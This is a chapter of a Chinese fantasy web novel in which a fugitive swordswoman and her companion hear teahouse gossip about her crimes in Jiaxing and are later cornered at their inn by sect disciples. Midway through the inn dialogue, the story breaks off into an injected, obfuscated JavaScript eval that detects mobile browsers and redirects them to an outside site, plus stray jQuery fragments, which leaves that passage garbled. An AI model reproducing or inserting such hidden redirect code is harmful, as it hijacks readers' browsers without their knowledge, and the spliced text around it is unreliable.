29. 待客之道

作品:《仙门公敌自救攻略

    过了城门入内,便是嘉兴城了。入目只见一条大道横贯西东,豁然开朗。这处江南城市比起帝都倒是别有一番风情。


    昨夜下过雨,今年第一缕微凉的秋风吹过道边挂起的长幡铺号,卷着晨时草木间水露的清香。


    马车挂着摇铃招摇过市,摊贩们支起帐篷预备开张,有人挂着笑脸冲她招收,推销自家新上的蜀锦布料,程衍略带歉意地摆摆手,


    回想不久前在山野的在山野的时日,如今已成仙门中的头号通缉犯,再见这尘世热闹景象,竟一时间恍如隔世。


    时候尚早,两人走进一处已渐渐拥挤起来的茶楼,坐定叫了些早饭。


    “听您这声气也弗是本地宁哇,外路来个伐?这些日脚不太平,好像出哩弗少大事件咧,侪话少在外跑跑顶好喏。”


    帮工是个健谈的年轻人,手上端茶倒水,嘴上也不忘招呼。大约是平日见惯各色人等来往,虽改不来口音,话里还是尽力多添了许多官话。


    见这程衍二人腰挎佩剑,也将两人出身猜了个七七八八。


    这些时日不通音讯太久,程衍本打算寻个地方打听打听近况,听他挑起话头,正顺着接下去:


    “这倒是没听说,是什么事啊。”


    “就侬格些仙师仙门,天到晚打生打死。听讲出拉一个大魔头,前头几日还在蜀山,跑到人家屋里把当家掌门一剑捅死,连句屁话都弗讲,也勿晓得是为啥,此刻逃出来拉,影子都没得。听讲各路仙门正拉抓她哩。”


    “这人杀人要什么理由。你要是能想得通,你不也成杀人犯了?”邻桌也是二人对坐,其中一人大笑着打断道。


    他一身商客打扮,高鼻深目,眉眼间竟依稀有些胡人长相。


    “有理!咱些老百姓,日脚过得稳稳当当,哪会想得出这等杀人放火格事体,避都避弗及!”


    帮工笑着拿毛巾一擦手:


    “客官先用茶等等,后头才开火,好了马上给您端上来好伐?”


    程衍忙点头说谢。又听那头儿另一个声音尖刻的人忽地开口:


    “人杀人,能有什么理由。有时候看谁不顺眼,切磋修为,死了就是技不如人。要么为了抢什么法宝秘籍,我小叔子以前做古董行当生意,这种事见多了。”


    “哎哟,是真吓人。凡人想动手都怕没那个本事。人家正手奔雷反手驭电的,天天刀刀剑剑,倒是杀起兴了。”


    “所以我说朝廷上建天枢司也好,好好制制这帮人,当真会点舞刀弄剑的本事就真把自己当神仙了。哼。”


    程衍喝茶的动作顿住,转头看沈渊,他却撑着脸看向窗外,像是根本没注意到这边的话。


    从昨晚起他就一直是这个样子。不,或者更早。两人在山村中短暂修养的日子里他就是这样的。


    她心中不解越来越大,决定今晚无论如何,都要好好问一问。


    “至于那杀人之人。当日许多人亲眼所见,都说她出手招招无法预测,宛如鬼神挥剑,还有她那把剑是被诅咒的凶器!曾一夜间杀死八十一人,如今那剑中封印了太多不甘的冤魂。所以每次拔剑的时候,你甚至能听见厉鬼哀嚎!”


    “呃,停一下,请问这又是从哪里听来的?”程衍举手提问,她真的非常好奇。


    “自然是从当事人身边流传开的。”


    声音尖刻的人满不在乎地说:“连官府这几日都发了通告叫人小心着点,说有一背着八十四条人命的逃犯。具体怎样也不清楚。”


    “怎么又成了八十四个?!”


    “八十一人是旧案,一人是那掌门。以及,据说她还杀了蜀山派两个看门的道童。”


    “是啊。听说她此前销声匿迹十年,不知怎的近日又重新回来。”胡人长相的商人有些忧心忡忡。


    “谁知道。不过都是他们那群仙门之中自己的事,和我们这些凡夫俗子也没关系。爱打打爱杀杀去。”


    帮工端着两碗热腾的阳春面来,讲了这么多。程衍早就饿得心口发慌,对已彻底成为世人口中的杀人不眨眼的大魔头,凭空安上罪名也已无心争辩。


    反正也是没人愿意听的事情,她何必多这一嘴,当即抓起筷子一边吸面一边还是忍不住道:


    “说到底修真界的事情只是修真界的事,对凡人而言,就像什么都没发生一般,至多也只能当个谈资罢了啊。”


    “不奇怪,连外门生也算上,满打满算,拜入仙门的人又能有多少。”


    沈渊终于开口,话里却带着不屑。从两人相识起,他话里话外好像对整个修真界格外看不起。程衍对此已经习惯,也懒得追问为何。


    毕竟喜欢一个人,讨厌一个人;喜欢什么东西,或是讨厌什么东西,很多时候是并不需要那么多理由的。


    吃过早饭,快到晌午,对城中布局地势都不熟悉,两人结过账后就先去风波楼周边踩了一通。这临水而建的木质高楼此时空无一人,大门紧锁着。


    “还未到约定时日,看来平时这里是不通人的。”沈渊试着推了推门,纹丝不动。


    “如此想来,那人约在这种地方见面,多半也是为了避人耳目,免得被其他人发现吧。”


    程衍说着抬头望去,塔边四角飞檐上翘着,遮蔽了半面日光。每一角上,都用红绳绑着一枚铜钱:


    “反正那人葫芦里卖的什么药,到时候就能知道了。已经等了这么久,还差这一点么?走吧,咱们先去找个歇脚的地方再说。”


    沈渊默然不语,略低着头不知在想些什么。


    没什么好看的了,程衍正欲离开,盘算先行找个住的地方暂且安顿。却忽地被身边的人抓住手腕,原是他不放心,临行走的匆忙,仍担忧那寒毒仍未除尽,按着人她在城中又找了一位大夫搭脉检查,确定已经彻底无恙后,这才如释重负地呼出一口气来。


    见他紧绷着的脸终于和缓,程衍也觉开心。她是一向不愿旁人为自己如此担忧的。


    会担心是因为有牵挂,被另一个人放在心上牵挂着本该是一件令人幸福的事,代表两个人之间与众不同的,独一无二的联系。这世上这么多人,可会“牵挂”自己的,与值得自己挂念的人却不会太多。


    这是好事,更不该因为它让人觉得难过。


    她伸手来揉了揉沈渊的头顶,收到他一个含有警告的不满眼神,忍不住笑了出来。


    好像也只有这种时候,他才会短暂地卸下那副漠然的外壳,流露出内里的鲜活气,这让她也感到很高兴。


    拜别那医师,两人寻了间离那风波楼相近的旅舍后,见时候还早,在房中枯坐也是无趣,程衍拉着他在嘉兴城从东到西逛过一圈来,直到月上柳梢,吃过晚饭后,这才慢慢向下榻的旅舍走去。


    值夜的掌柜正拨着算盘,见程衍二人入内,随口只会了一声夜里注意火烛,眼皮抬也不抬地手上仍旧噼啪打得飞快。


    店内一片沉寂,教程衍说话都不敢大声,生怕打扰了谁的清梦:


    “刚刚那人听着就像在瞎编,说什么我命线中断,命线断了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952676|176885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人岂不是都死了。现在这些相师,随意看些书,就也能给人出来相手相面了,蒙骗于人,可不是什么好事啊。”


    “没办法,都是些无门无派之人,门规约束不到。此前天枢司也有过几次大规模清查,但也只是杯水车薪,治标不治本。”


    沈渊似是怕他摔倒,伸手虚扶在她腰间。


    “也是。就怕那些普通人真听信了这些江湖骗子,耽误正事,就是大麻烦了。”


    两人小声交谈着回到房间前,程衍推开门的刹那,心头忽突地一跳,待她转眼扫向室内,不由浑身一震,沈渊立时挡在她面前。


    有人!


    室内并非空无一物,那人正在屋内。她没有点灯,只是静静地坐着,像是一尊石塑。身着凌霄宗校服,眼睛眨也不眨。死死望向程衍:


    “师姐……晚上好。真是好久不见了。”


    “你,认识我?”程衍有些迟疑,毕竟她如今也无法判断对方所言真假。


    听到这话,她脸上掠过一丝似是痛苦又似是悲意的神色,但又很快压下来了,只冷笑道:


    “今时今日,天下又有谁不认识你呢?”


    “是啊,也有很多人想杀我,为某人报仇肃清奸佞,是么?”程衍了然,有些无奈地摊手。


    “知道就好。”


    对面那年轻女子说完站起身,她就像是全没看见沈渊的人一般对他视若无物,双眼中迸发出奇异的光,叫程衍心中一凛。


    “自从你们靠岸后,负责巡逻的弟子就已将你们都踪迹上报于我。掌门令我将你带回三清山,他要在即位大典上以掌门之名,亲自公开宣布处置结果。”


    “这样重要的仪式上,有个彩头的确不错。”


    还是带着血的,红色的彩头。而血会令所有人兴奋。


    “不。仅凭你们,绝不会这么快就找来。和你们同行的是谁。”


    程衍已握住剑柄准备拔剑,却听沈渊冷不丁突然开口,也死死盯着对面的那女子。


    而她似乎并不意外,笑了一声:


    “你还是一如既往的,张口就叫人讨厌。今日来的,的确并非只有凌霄宗门人。眼下我叫他们去别的地方了,想先来见她一面而已。没有其它意思。”


    “我们认识很久了?”


    “很久。你认识我,就像你认识他一样久。本该这样………”


    这女子边说,边摩挲着腰间的那把长剑,神情与话语之中,却并不像见到久别重逢的故人那样动情,也不似见到仇人才有的恨意狰狞。


    她究竟是何人,与自己有何渊源,又是为何会找到这里来?程衍此时心中已是好奇多过了戒备。


    沈渊的脸掩在夜色之中,显得朦胧模糊,看不清表情,却能感觉到低沉的气压。


    他的手已覆上剑柄。


    程衍望向对面的人,轻叹一口气:“虽然我已经什么都记不得,但我的确不喜欢对认识的人拔剑。一定要这样么?没有别的办法了?”


    “没有。掌门命令,我不可不从。”


    她正说着,程衍只听得身后几人脚步声急速踏来。


    又是六人,其中一位正是淮安城中拦下他们的俞连声。皆身着凌霄宗的校服。显然这一回,宋无咎已打定主意,定要将她带回宗门了。


    可在蜀山与那女孩和言少微对峙之时,他又为何一言不发呢。


    “眼下我们七人在此,又是这样的房间之内,只要使出北斗七星阵,任凭你有通天之能,又能破得开阵法走得了么?”